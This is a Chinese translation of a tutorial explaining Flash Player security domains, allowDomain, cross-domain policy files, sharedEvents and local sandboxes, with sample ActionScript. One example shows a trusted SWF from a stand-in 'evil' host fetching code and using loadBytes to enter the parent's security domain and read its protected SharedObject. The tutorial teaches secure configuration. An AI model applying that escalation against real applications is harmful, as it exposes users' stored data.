深入理解Flash Player的安全域(Security Domains)
一篇對(duì)Flash Player的安全域(Security Domain)介紹得比較詳細(xì)的文章,深入淺出,值得一看。
英文原文:Security Domains, Application Domains, and More in ActionScript 3.0
翻譯版本:教程:深入理解Flash的沙箱 – Security Domains
簡(jiǎn)介
如果你還沒有與復(fù)雜的的安全域(security domain)和應(yīng)用程序域(application domain)問題打過交道,那么你真是個(gè)幸運(yùn)的家伙。當(dāng)你在加載外部?jī)?nèi)容(然后他們開始播放)的時(shí)候,默認(rèn)的設(shè)置工作的很好,你甚至不知道他們的存在。
但是某些時(shí)候你可能需要控制默認(rèn)設(shè)置以外的更多行為和功能,這樣你就會(huì)遇到前面所說(shuō)的問題。你也許會(huì)困擾于Security.allowDomain和 crossdomain.xml文件的區(qū)別,又或者你想要深究關(guān)于安全性的最佳實(shí)踐。如果是這樣,那么這篇文章就是你所需要的了。
以下的教程將會(huì)討論什么是安全域和應(yīng)用程序域,以及他們?cè)贔lash Player中應(yīng)該如何使用。
安全域
◆Introduction 簡(jiǎn)介
◆Sandboxing 沙箱
◆Security Domains 安全域
◆Trust 信任授權(quán)
◆Non-executable Trust 不可執(zhí)行文件的信任機(jī)制
◆Non-executable Content Without Trust 非受信的不可執(zhí)行文件
◆SWF Communication Without Trust 在非受信的SWF之間通訊
◆Merging Security Domains 合并安全域
◆Stage Owner and Access 場(chǎng)景的擁有者和獲取權(quán)限
◆Local Security Domains 本地安全域
Sandboxing 沙箱
沙箱是用于區(qū)分不同的數(shù)據(jù)和程序執(zhí)行。沙箱對(duì)于安全性尤其重要。如果沒有恰當(dāng)?shù)男湃问跈?quán),兩個(gè)位于不同沙箱內(nèi)的內(nèi)容應(yīng)該沒有任何交互。Flash Player的安全模型使用稱為安全域的沙箱來(lái)分離內(nèi)容。
雖然安全性是沙箱的主要用途,但這并不是唯一使用沙箱的原因。另外一種可能的情形是使用沙箱來(lái)避免命名沖突,這種區(qū)分代碼的沙箱方式在Flash Player中被稱為應(yīng)用域。
Security Domains 安全域
安全域在Flash中是頂級(jí)的沙箱。安全域鏈接到內(nèi)容的來(lái)源域名,或者是被加載的內(nèi)容(如SWF文件)的來(lái)源域名。比如在 senocular.com下的SWF文件包含一個(gè)鏈接到senocular.com的安全域,而在example.com下的SWF文件則有一個(gè)鏈接到 example.com的安全域。不同的安全域使得SWF文件在Flash Player中播放時(shí)運(yùn)行在自身的沙箱下。

Flash Player中的安全域沙箱
注意:在本教程的例子中,你將看到我用統(tǒng)一頂級(jí)域名下的不同子域來(lái)代表不同域名,這是因?yàn)樵贔lash中,不同子域和不同頂級(jí)域一樣,都被視為不同的域。示例中代碼也被簡(jiǎn)化過了,在Flash編輯環(huán)境下用時(shí)間線代碼也可以進(jìn)行測(cè)試。
不可執(zhí)行的內(nèi)容(非SWF文件),比如圖片或者文本文件,也被劃分到安全域中,同樣與他們所處的域名相關(guān)聯(lián)。實(shí)際上,正是域名決定了這些內(nèi)容是否能夠被某個(gè)SWF文件加載。更多這方面的內(nèi)容將在不可執(zhí)行文件的信任機(jī)制章節(jié)中進(jìn)行討論。
回到SWF上來(lái),安全域劃分了數(shù)據(jù)和可執(zhí)行代碼。如果兩個(gè)SWF處于不同的安全域下,某個(gè)SWF中的數(shù)據(jù)(比如某個(gè)變量)是不可以被其他SWF獲取的,當(dāng)然,代碼也不能執(zhí)行。如果嘗試獲取其他域中SWF文件的數(shù)據(jù)將會(huì)產(chǎn)生一個(gè)安全錯(cuò)誤。
下面的代碼展示了一個(gè)SWF文件企圖加載另外一個(gè)SWF,并獲取其文檔類的實(shí)例(也就是主時(shí)間線)。
http://same.example.com/parent.swf:
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);
var url:String = "http://diff.example.com/child.swf";
loader.load(new URLRequest(url)); 
function init(event:Event):void {
	trace(loader.content);
	// SecurityError: Error #2121: Security sandbox violation:
	// Loader.content: http://same.example.com/parent.swf
	// cannot access http://diff.example.com/child.swf.
	// This may be worked around by calling Security.allowDomain.
}
任意想要獲取被加載的SWF文件的內(nèi)容的嘗試,甚至包括trace Loader的content屬性。都會(huì)引起安全錯(cuò)誤,因?yàn)樗麄儍烧咛幱诓煌陌踩騼?nèi)。
安全域的劃分也適用于Flash Player所使用的原生ActionScript類。Flash Player在每個(gè)安全域中都創(chuàng)建了獨(dú)立的原生類。舉例來(lái)說(shuō),一個(gè)安全域內(nèi)的XML類與另外一個(gè)安全域內(nèi)的XML類是不相同的,改變其中一個(gè)XML的靜態(tài)屬性XML.prettyIndent并不會(huì)影響到另一個(gè)安全域。
下面這個(gè)SWF文件加載了兩個(gè)子SWF,一個(gè)來(lái)自自身的域,另一個(gè)從另外的域加載。我們改變了主文件的prettyIndent屬性,來(lái)看看這兩個(gè)子文件的屬性輸出。
http://same.example.com/parent.swf:
trace(XML.prettyIndent); // 2 XML.prettyIndent = 5; trace(XML.prettyIndent); // 5 // Same domain: var sameLoader:Loader = new Loader(); var sameURL:String = "http://same.example.com/child.swf"; sameLoader.load(new URLRequest(sameURL)); // Different domain: var diffLoader:Loader = new Loader(); var diffURL:String = "http://diff.example.com/child.swf"; diffLoader.load(new URLRequest(diffURL));
http://same.example.com/child.swf:
trace("same: " + XML.prettyIndent); // same: 5http://diff.example.com/child.swf:
trace("diff: " + XML.prettyIndent); // diff: 2
可以看到,第二個(gè)子文件的屬性并沒有被改變。這就說(shuō)明不同的安全域具有不同的原生ActionScript類定義。
Trust 信任授權(quán)
盡管安全域只允許相同域下的通訊,但是我們可以通過信任授權(quán)來(lái)讓處于兩個(gè)不同安全域內(nèi)的SWF文件進(jìn)行通訊。通過授權(quán),某個(gè)安全域內(nèi)的文件可以獲取另一個(gè)域內(nèi)文件的的數(shù)據(jù),或者調(diào)用其方法,就像是處于相同的安全域下一樣。
在ActionScript中,SWF的信任授權(quán)是通過Security.allowDomain(或者類似的Security.allowInsecureDomain)來(lái)設(shè)置的。在被信任的安全域內(nèi)的代碼可以調(diào)用這個(gè)方法來(lái)授權(quán)信任給另一個(gè)或者一組在其他安全域內(nèi)的SWF文件。這種信任是單向的,發(fā)起allowDomain的SWF文件不能去訪問被授權(quán)信任的文件,除非對(duì)方也做了信任授權(quán)。

建立信任關(guān)系的安全域
在下面的例子中,一個(gè)子SWF文件調(diào)用allowDomain來(lái)允許父SWF的訪問:
http://home.example.com/parent.swf:
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);
var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));
function init(event:Event):void {
	// (子文件執(zhí)行了allowDomain)
	trace(loader.content); <em>// [object DocumentClass]</em>
}
http://away.example.com/child.swf:
Security.allowDomain("home.example.com");
如果沒有授信,就像前文說(shuō)到的,還是會(huì)引發(fā)安全錯(cuò)誤。但是一旦被加載的子SWF調(diào)用了allowDomain以后,父SWF文件就可以自由的訪問子 SWF文件中的內(nèi)容。要注意的是在這個(gè)例子中,由于父SWF文件沒有授權(quán)away.example.com的信任,所以子SWF仍然無(wú)法訪問loader 的content屬性。
信任是非常重要的安全概念,絕對(duì)不能掉以輕心。我們經(jīng)??匆娛褂猛ㄅ浞氖跈?quán):
// 小心哦!
Security.allowDomain("*");
這么做將允許所有SWF文件,不僅僅只是你加載的或是加載你的,可以通過ActionScript來(lái)訪問你文件中的數(shù)據(jù)。就算你沒有在文件中包含敏感數(shù)據(jù),但是如果你在文件中提供了某些方法去獲取這種數(shù)據(jù),那也有可能被其他SWF調(diào)用。使用allowDomain來(lái)授權(quán)的信任就像給了其他SWF文件相等的權(quán)利:你能做什么,我就能做什么。在接下來(lái)的合并安全域章節(jié)中你將看到這意味著什么。
如果你只是想讓SWF之間能夠通信,除了信任授權(quán)的方法以外我們還可以使用sharedEvents對(duì)象來(lái)實(shí)現(xiàn),我們將在在非受信的SWF之間通訊章節(jié)中討論。
Non-executable Trust 不可執(zhí)行文件的信任機(jī)制
由于不可執(zhí)行文件(也就是非SWF文件)不能調(diào)用allowDomain代碼,所以這類文件的信任機(jī)制在Flash Player中有不一樣的處理方法。這就是跨域(cross-domain)策略文件派上用場(chǎng)的地方。
跨域策略文件是一個(gè)放在網(wǎng)站的根域名下的命名為crossdomain.xml的XML文件。和allowDomain類似,定義了一組可以被Flash Player加載的安全網(wǎng)站域名。一個(gè)簡(jiǎn)單的跨域策略文件的例子如下:
http://example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="by-content-type"/> <allow-access-from domain="*.example.com"/> <allow-access-from domain="www.example-partner.com"/> </cross-domain-policy>
你可以從Cross-domain policy file specification (adobe.com)獲得詳細(xì)的文件格式信息。
和allowDomain不同的是,跨域策略文件只提供了包含所有文件(通常是一個(gè)域下的所有文件)的用法。上面的例子表示允許來(lái)自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。
由于存在allowDomain機(jī)制,跨域策略文件通常不用于授權(quán)SWF文件的訪問。跨域加載SWF的時(shí)候不會(huì)請(qǐng)求跨域策略文件。只有當(dāng)要把一個(gè)跨域的SWF合并到當(dāng)前的安全域的時(shí)候,才需要提供跨域策略文件。這個(gè)主題將在合并安全域中進(jìn)行討論。
不管是標(biāo)準(zhǔn)的位于域名根目錄下的跨域策略文件還是用Security.loadPolicyfile指定的跨域策略文件,都只有在需要的時(shí)候才會(huì)被加載:當(dāng)內(nèi)容被加載的同時(shí),跨域策略文件也被一起加載進(jìn)來(lái)。
加載完成后,F(xiàn)lash Player分析跨越策略文件并判斷該域是否為信任SWF所處的域。如果答案是肯定的話,文件正常加載,就像處于和SWF文件相同的域一樣。反之則有可能有兩種情況:
1、文件不被加載
2、文件加載成功,但是其數(shù)據(jù)不能被SWF文件直接訪問
如果文件本身就是數(shù)據(jù)(文本文件,XML文件,二進(jìn)制數(shù)據(jù)等等),那么文件就不會(huì)被加載。

需要跨域策略文件來(lái)加載僅包含數(shù)據(jù)的文件
如果文件除了數(shù)據(jù)以外還有其余用途(圖像文件,聲音文件等),那么文件還是能夠被加載到用戶可見(可聽)的環(huán)境中。比如說(shuō)圖像文件,就算沒有跨域策略文件,還是可以在Loader對(duì)象中顯示給用戶看。但是類似BitmapData.draw等直接訪問圖像數(shù)據(jù)的方法就不能運(yùn)行。

需要跨域策略文件來(lái)獲取其他文件的數(shù)據(jù)的引用
對(duì)此可能大家都有點(diǎn)疑惑。實(shí)際上用戶是可以訪問這些數(shù)據(jù)的,但是SWF文件不行。Flash Player是在保護(hù)用戶的數(shù)據(jù)不被潛藏有危險(xiǎn)代碼的SWF文件獲取。用戶不需要關(guān)心跨域策略文件也能正常的瀏覽網(wǎng)頁(yè)內(nèi)容。
但這并不是說(shuō)跨域策略文件可以被忽視,類似于下面這種過分縱容的跨域策略文件有很多潛在的危險(xiǎn):
<?xml version="1.0"?> <cross-domain-policy> <!-- 小心哦! --> <allow-access-from domain="*"/> </cross-domain-policy>
警告:使用通配符(*)允許所有域的訪問等同于:用戶可能可以接觸到的所有處于該域下的數(shù)據(jù)都有可能被任意SWF文件獲取。
客戶端的Flash Player運(yùn)行在當(dāng)前用戶的認(rèn)證下,這就表示用戶的數(shù)據(jù)可能就是Flash Player的數(shù)據(jù)。而且Flash Player的數(shù)據(jù)可能被任意在里面運(yùn)行的SWF獲取。Flash Player默認(rèn)只允許相同域名下的SWF的安全數(shù)據(jù),并限制跨域SWF的運(yùn)行。如果沒有這層限制,SWF可以獲取任意當(dāng)前用戶可以獲取的數(shù)據(jù)。
舉個(gè)例子:某用戶使用他的認(rèn)證來(lái)登錄網(wǎng)頁(yè)的郵件客戶端收取郵件,然后用戶打開了一個(gè)包含有惡意程序的SWF的頁(yè)面。如果沒有跨域限制的話,這個(gè) SWF可以用他現(xiàn)有的認(rèn)證偷偷地加載用戶的郵件頁(yè)面。用戶可以訪問的內(nèi)網(wǎng)也不例外,只要用戶能去的地方,SWF就能去。幸好Flash Player阻止了這種獲取數(shù)據(jù)的行為,除非該域通過跨域策略文件給予SWF授權(quán)。
記住一個(gè)原則,永遠(yuǎn)不要對(duì)包含敏感數(shù)據(jù)的域開發(fā)跨域授權(quán),即使需要上面的信息來(lái)進(jìn)行用戶認(rèn)證。把SWF可以訪問的數(shù)據(jù)劃分到不同的域或者子域下面。
這將使得敏感數(shù)據(jù)不可被訪問,但是仍然可以對(duì)其他域下的SWF文件公開你的其他數(shù)據(jù)。
Non-executable Content Without Trust 非受信的不可執(zhí)行文件
如果沒有跨域策略文件的信任授權(quán),F(xiàn)lash Player禁止非SWF文件的獲取。特別是像文本那樣的僅包含數(shù)據(jù)的文件,甚至不會(huì)加載。如果你需要從一個(gè)沒有跨域授權(quán)的域中獲取數(shù)據(jù),還是有一個(gè)變通的辦法。
跨域策略文件用于保護(hù)數(shù)據(jù),特別是保護(hù)用戶數(shù)據(jù),或者說(shuō)是用戶能夠接觸到的數(shù)據(jù)。因?yàn)镕lash Player是運(yùn)行在客戶端的,但是服務(wù)器端的代碼沒有這種限制。服務(wù)器完全是另外一臺(tái)機(jī)器,所以用戶請(qǐng)求和服務(wù)器請(qǐng)求是完全無(wú)關(guān)的。
由于服務(wù)器沒有用戶的限制,服務(wù)器端的代碼可以從任意公開的網(wǎng)絡(luò)服務(wù)獲取數(shù)據(jù)。也就是說(shuō)包含SWF的服務(wù)器可以用于訪問外部域的數(shù)據(jù),然后作為相同域的數(shù)據(jù)返回給Flash Player。由于處在相同的域下,F(xiàn)lash Player就不需要有跨域策略文件了。
下面的代碼演示了一個(gè)服務(wù)器端的php腳本加載外部數(shù)據(jù)的例子:
http://home.example.com/loader.swf:
var urlLoader:URLLoader = new URLLoader(); var urlVariables:URLVariables = new URLVariables(); // 服務(wù)器端獲取外部數(shù)據(jù)的地址 urlVariables.externalURL = "http://away.example.com/content.txt"; // 服務(wù)器端的腳本獲取外部數(shù)據(jù)并傳給SWF var serverPage:String = "http://home.example.com/read.php"; var request:URLRequest = new URLRequest(serverPage); request.data = urlVariables; urlLoader.load(request);
這種解決方案也有一定的問題。首先你必須能夠在服務(wù)器端部署代碼,某些小項(xiàng)目也許根本不需要服務(wù)器環(huán)境。
另一個(gè)可能更重要的原因是這種方式加倍了網(wǎng)絡(luò)流量。首先必須從外部域加載到你自己的域下,然后才被下載到你的SWF客戶端。同時(shí)這也加重了你的服務(wù)器的負(fù)載。使用跨域策略文件的話就不會(huì)有這種問題。
這可以作為一種解決方案,但最好還是能用跨域策略文件來(lái)解決。
SWF Communication Without Trust 在非受信的SWF之間通訊
在某些情況下有可能要與其他來(lái)源不那么可靠的域中的SWF通訊,你并不希望完全信任該域,放開全部授權(quán)。對(duì)此LoaderInfo對(duì)象的 sharedEvents屬性提供了另一種機(jī)制。sharedEvents對(duì)象是唯一的一個(gè)可以在不同安全域中發(fā)送共享事件的對(duì)象。加載者和被加載者都可以通過這個(gè)對(duì)象來(lái)向?qū)Ψ桨l(fā)送事件。
通過sharedEvents對(duì)象發(fā)送的事件在兩個(gè)域中都是完全受信的,這就使得在兩個(gè)安全域中傳遞的任意數(shù)據(jù)都無(wú)需考慮安全問題。
警告:當(dāng)心!通過sharedEvents對(duì)象傳遞了錯(cuò)誤的數(shù)據(jù)仍然有可能把你的SWF中的數(shù)據(jù)暴露出去。比如你的事件包含了一個(gè)復(fù)雜對(duì)象,特別是顯示列表上的對(duì)象,那么你的整個(gè)SWF都將暴露。
所以通過sharedEvents發(fā)送的事件應(yīng)該限制為包含簡(jiǎn)單數(shù)據(jù)的事件類型,避免一些被包含后門的SWF程序加以利用。如果你要傳遞復(fù)雜的事件,那要在傳遞之前先做一下清理。
使用sharedEvents進(jìn)行通訊的兩個(gè)SWF需要確保發(fā)送和接收的是一致的事件類型。父SWF可以發(fā)出一種事件并監(jiān)聽另一種。子SWF可以監(jiān)聽父SWF發(fā)出的事件并發(fā)出父SWF中正在監(jiān)聽的事件。這些事件的名字可以是隨意的。
下面的例子演示了在不同安全域中的父子SWF使用sharedEvents來(lái)通訊簡(jiǎn)單的文本信息的情況。父SWF發(fā)出“fromParent”事件,而子SWF發(fā)出“fromChild”事件。
http://safe.example.com/parent.swf:
var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
function fromChild(event:TextEvent):void {
	trace(event.text); // Good day
	var replyMessage:TextEvent = new TextEvent("fromParent");
	replyMessage.text = "Same to you";
	shared.dispatchEvent(replyMessage);
}
http://untrusted.example.com/child.swf:
var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);
var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);
function fromParent(event:TextEvent):void {
	trace(event.text); // Same to you
}
任意的事件類都可以像這樣用于傳遞信息,也包括自定義事件。再次強(qiáng)調(diào),要當(dāng)心不要把包含引用的數(shù)據(jù)(特別是顯示列表上的對(duì)象)隨著事件一起發(fā)送出去。這種情況的例子在場(chǎng)景的擁有者和獲取權(quán)限章節(jié)中可以找到。
Merging Security Domains 合并安全域
如果兩個(gè)域之間建立了信任關(guān)系,一個(gè)SWF就能把另外一個(gè)SWF加到自己的安全域內(nèi),就像是在相同的域下一樣。
在這種情況下信任授權(quán)的處理有少許不同。首先,包含父SWF的域不需要指定什么,只要執(zhí)行加載另一個(gè)SWF到當(dāng)前的安全域就表示完全信任這個(gè)SWF。
其次,因?yàn)樽覵WF是立即被加載到父SWF的安全域中,并沒有機(jī)會(huì)通過allowDomain進(jìn)行信任授權(quán)聲明。當(dāng)子SWF可以執(zhí)行 allowDomain聲明的時(shí)候,已經(jīng)被加載并實(shí)例化到另外的域中。所以這種情況下,跨域策略文件將派上用場(chǎng)。實(shí)際上這也是跨域策略文件唯一適用于對(duì) SWF進(jìn)行授權(quán)的情況。

需要跨域策略文件把跨域的SWF加載到相同的安全域
要加載某個(gè)SWF到自己的安全域內(nèi),需要給Loader.load方法指定一個(gè)LoaderContext對(duì)象。LoaderContext對(duì)象的securityDomain屬性設(shè)置為當(dāng)前的安全域(SecurityDomain.currentDomain)。通過這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則需要通過跨域策略文件。
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com var loader:Loader = new Loader(); // 創(chuàng)建一個(gè)LoaderContext對(duì)象把子SWF加載到當(dāng)前的安全域 var context:LoaderContext = new LoaderContext(true); context.securityDomain = SecurityDomain.currentDomain; var url:String = "http://trusting.example.com/child.swf"; loader.load(new URLRequest(url), context);
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> </cross-domain-policy>
http://trusting.example.com/child.swf:
trace(new LocalConnection().domain); // host.example.com
我們可以通過LocalConnection對(duì)象的domain屬性來(lái)檢查每個(gè)SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,但是由于它被加載到父SWF所處的域中,所以子SWF最終所處的安全域是host.example.com。
用這個(gè)方式加載的SWF文件權(quán)力比用allowDomain授權(quán)的更加大。使用allowDomain授權(quán),等同于說(shuō)你能做什么,我就能做什么。而把SWF加載到同一個(gè)安全域,則等同于我能做任何事。在前一種情況下,子SWF只能調(diào)用父SWF下的代碼,還是受限于父SWF中的定義。但是通過加載到相同的安全域,這些子SWF就可以在你的域下面做任意操作,這包括:
◆獲取父SWF中的任意引用
◆讀取主域中的所有文件
◆讀取其他授信給主域的所有域下的文件
◆讀取主域下的共享對(duì)象
◆獲取通過主域建立的共享連接通訊
◆獲取授信給主域的socket連接
所以在引入跨域SWF文件到你當(dāng)前的安全域下的時(shí)候,你要確保這種權(quán)力不會(huì)被濫用。
使用包含安全域的LoaderContext對(duì)象的load方法不是能夠引入跨域SWF到你的安全域的唯一方法。Loader類的另一個(gè)方法loadBytes也可以做到。和load不同的是,它不是用URL來(lái)加載外部?jī)?nèi)容,而是直接加載以ByteArray的形式加載對(duì)象。
由于ByteArray與域名之間沒有關(guān)聯(lián),所以用loadBytes方法加載的對(duì)象將直接進(jìn)入當(dāng)前安全域內(nèi)。因?yàn)槟阍诩虞d包含這些字節(jié)對(duì)象之前往往都要經(jīng)過某種信任授權(quán),所以這通常是安全的。
http://host.example.com/parent.swf:
trace(new LocalConnection().domain); // host.example.com
var loader:Loader = new Loader();
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
function bytesLoaded(event:Event):void {
	loader.loadBytes(urlLoader.data);
}
http://trusting.example.com/crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="host.example.com"/> </cross-domain-policy>
http://trusting.example.com/childbytes.swf:
trace(new LocalConnection().domain); // host.example.com
就和前面看到的例子一樣,通過檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示為相同的安全域。
警告:loadBytes方法有個(gè)小小的安全問題:可以把授信過的跨域SWF和加載到當(dāng)前安全域下的SWF兩者間的不同扯平。我們知道雖然這兩者都是被信任的,但是就像上面的列表中提到的,后者比前者的權(quán)力更大。“你能做什么,我就能做什么”與“我能做任何事”之間的差別,結(jié)果可以變成沒有差別。
這是因?yàn)槭谛胚^的跨域SWF文件可以訪問父SWF的任何對(duì)象,包括父SWF對(duì)象的Loader實(shí)例,一旦擁有了對(duì)loadBytes方法的引用,這就意味著可以把某些字節(jié)對(duì)象加載到當(dāng)前的安全域。
下面的這個(gè)例子展示了這種可能性:
http://good.example.com/parent.swf:
// 授權(quán) "你能做什么,我就能做什么"
Security.allowDomain("evil.example.com");
// 應(yīng)當(dāng)受保護(hù)的數(shù)據(jù)
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();
var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));
http://evil.example.com/child.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined
var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);
var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));
function bytesLoadedEvent):void {
	// 威脅!loadBytes加載了SWF數(shù)據(jù)到父SWF的安全域
	loaderInfo.loader.loadBytes(urlLoader.data);
}
http://evil.example.com/childbytes.swf:
var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: ba
將來(lái)版本的Flash Player可能會(huì)改變這種行為,所以在程序中不要使用這種方法。我們應(yīng)該關(guān)注的是加載授信過的SWF文件會(huì)帶來(lái)的潛在威脅:暴露你的域下的所有數(shù)據(jù)。
Stage Owner and Access 場(chǎng)景的擁有者和獲取權(quán)限
當(dāng)?shù)谝粋€(gè)SWF文件被加載到Flash Player中的時(shí)候,它被加到顯示列表的根上,也就是我們所說(shuō)的stage對(duì)象。這也是Flash Player自己的顯示對(duì)象的根。每個(gè)SWF都有代表自己主文檔類或者主時(shí)間線的根(叫做root)。第一個(gè)被創(chuàng)建的SWF實(shí)例的根被放置于場(chǎng)景上,其他子SWF使用Loader對(duì)象的實(shí)例來(lái)加載。
場(chǎng)景的特別之處在于它本身就位于顯示列表上,所有處于顯示列表上的子SWF都可以取得它的引用,但是它只有一個(gè)擁有者:就是第一個(gè)被實(shí)例化的那個(gè)SWF。場(chǎng)景的擁有者決定了場(chǎng)景所連接的安全域。其他的SWF想對(duì)場(chǎng)景進(jìn)行特殊操作的行為都必須獲得場(chǎng)景所有者的信任授權(quán)。
你可能有注意到在過去的有些程序或者是組件中,被加載到不同的域(未授信)里的時(shí)候報(bào)錯(cuò)。這正是因?yàn)闆]有取得對(duì)場(chǎng)景對(duì)象進(jìn)行操作的授權(quán)。因?yàn)閳?chǎng)景對(duì)象是可以被引用的,但是諸如場(chǎng)景的addEventListener方法等卻不可用,所以這很容易引起誤解。
下面這個(gè)表格列出了場(chǎng)景對(duì)象限制非安全域?qū)ο笤L問的成員。可能不是100%精確,主要用于參考。
在下面的例子中看看場(chǎng)景是如何可以被子SWF訪問,但是卻不能調(diào)用stage.addEventListener方法。
http://first.example.com/parent.swf:
var loader:Loader = new Loader(); addChild(loader); var url:String = "http://<samp>second</samp>.example.com/child.swf"; loader.load(new URLRequest(url));
http://second.example.com/child.swf:
// Works trace(stage); // [object Stage] // Does not work stage.addEventListener(MouseEvent.CLICK, stageClick); // SecurityError: Error #2070: Security sandbox violation: // caller http://second.example.com/child.swf cannot access // Stage owned by http://first.example.com/parent.swf.
場(chǎng)景的這種所有者關(guān)系非常操蛋,因?yàn)槲覀兘?jīng)常需要對(duì)場(chǎng)景對(duì)象監(jiān)聽鼠標(biāo)或者鍵盤事件,比如檢測(cè)鍵盤按下或者檢測(cè)鼠標(biāo)在物體外部釋放點(diǎn)擊。在這種情況下,單靠子SWF自身是沒辦法完成的。還好,場(chǎng)景擁有者的父SWF可以通過sharedEvents傳遞場(chǎng)景事件而不必授信給子SWF。通過這種方式,可以在保護(hù)主域的前提下配合完成這種工作。
警告:以下這個(gè)使用范例演示了sharedEvents是如何處理安全性問題的。一些鼠標(biāo)事件的relatedObject屬性持有對(duì)時(shí)間線上的對(duì)象的引用。如果不經(jīng)過清理,這些對(duì)象就會(huì)暴露給沒有經(jīng)過授信的域。所以通過 sharedEvents發(fā)送事件時(shí),要把這些引用清除。比如MouseEvent,我們可以新建一個(gè)僅包含必須數(shù)據(jù)的MouseEvent對(duì)象。
下面的示例展示了如何通過sahredEvents發(fā)送場(chǎng)景事件。示例中僅僅轉(zhuǎn)發(fā)了MOUSE_OUT事件,當(dāng)然也可以擴(kuò)展于其他的事件類型。注意如何創(chuàng)建一個(gè)代理事件并保護(hù)父SWF中的對(duì)象。
http://stageowner.example.com/parent.swf:
var combination:String = "1-2-3-4-5"; // 隱私數(shù)據(jù)
var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));
stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);
function forwardMouseEvent(event:MouseEvent):void {
	// 威脅!這種做法暴露了relatedObject,也使得其他數(shù)據(jù)被暴露
	//shared.dispatchEvent(event);
	// Safer: 創(chuàng)建一個(gè)清理過的代理事件來(lái)切斷relatedObject的引用
	var safeEvent:MouseEvent = new MouseEvent(event.type);
	safeEvent.altKey = event.altKey;
	safeEvent.buttonDown = event.buttonDown;
	safeEvent.ctrlKey = event.ctrlKey;
	safeEvent.delta = event.delta;
	safeEvent.localX = event.localX;
	safeEvent.localY = event.localY;
	safeEvent.shiftKey = event.shiftKey;
	shared.dispatchEvent(safeEvent);
}
http://untrusted.example.com/child.swf:
var shared:EventDispatcher;
// 如果場(chǎng)景事件不能引用,那就通過sharedEvents監(jiān)聽
if (loaderInfo.parentAllowsChild){
	stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}else{
	shared = loaderInfo.sharedEvents;
	shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}
function stageMouseOut(event:MouseEvent):void {
	// -- stage mouse out actions here --
	// 如果sharedEvents傳遞了原始的鼠標(biāo)事件,那么父域中的數(shù)據(jù)就暴露了!
	//trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}
幸好有safeEvent這個(gè)MouseEvent的實(shí)例,原本的MouseEvent對(duì)象的relatedObject指向的引用被屏蔽了。實(shí)際上,所有通過sharedEvents對(duì)象發(fā)送的事件都應(yīng)該用這種方式清理一遍。
Local Security Domains 本地安全域
在硬盤上運(yùn)行的SWF文件同樣有自己的安全域。本地安全域有自己獨(dú)特的行為,共分為4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細(xì)討論AIR)。再加上網(wǎng)絡(luò)上的SWF,一共有5種安全沙箱。在ActionScript中,你可以用Security.sandboxType來(lái)獲得當(dāng)前的安全沙箱類型。
◆local-with-file (Security.LOCAL_WITH_FILE)—本地不受信任的文件,只可以訪問本地?cái)?shù)據(jù),不能與網(wǎng)絡(luò)通信。
◆local-with-network (Security.LOCAL_WITH_NETWORK)—本地不受信任的文件,只可以訪問網(wǎng)絡(luò),但是不能讀取本地?cái)?shù)據(jù)。
◆local-trusted (Security.LOCAL_TRUSTED)—本地受信的文件,通過Flash Player設(shè)置管理器或者FlashPlayerTrust文件授權(quán)??梢栽L問本地和網(wǎng)絡(luò)。
◆application (Security.APPLICATION)—隨著AIR包而安裝,運(yùn)行在AIR程序中。默認(rèn)在這種沙箱類型下的文件可以調(diào)用任意域下的文件(外部域可能不允許)。而且默認(rèn)能從任意其他域下加載數(shù)據(jù)。
◆remote (Security.REMOTE)—來(lái)自網(wǎng)絡(luò)的文件,遵循安全域的沙箱規(guī)則。
由于有可能從用戶的硬盤上獲取敏感數(shù)據(jù),所以本地文件在安全方面有著嚴(yán)格的規(guī)則。一旦有機(jī)會(huì),惡意的SWF將可以從電腦上讀取數(shù)據(jù)并上傳到網(wǎng)絡(luò)上的服務(wù)器。所以為了防止這種情況,本地的SWF只允許一種類型的通訊,要么就是本地,要么就是網(wǎng)絡(luò)。而且,不同安全沙箱類型的SWF不能相互加載,避免能同時(shí)訪問網(wǎng)絡(luò)和訪問本地的情況出現(xiàn)。
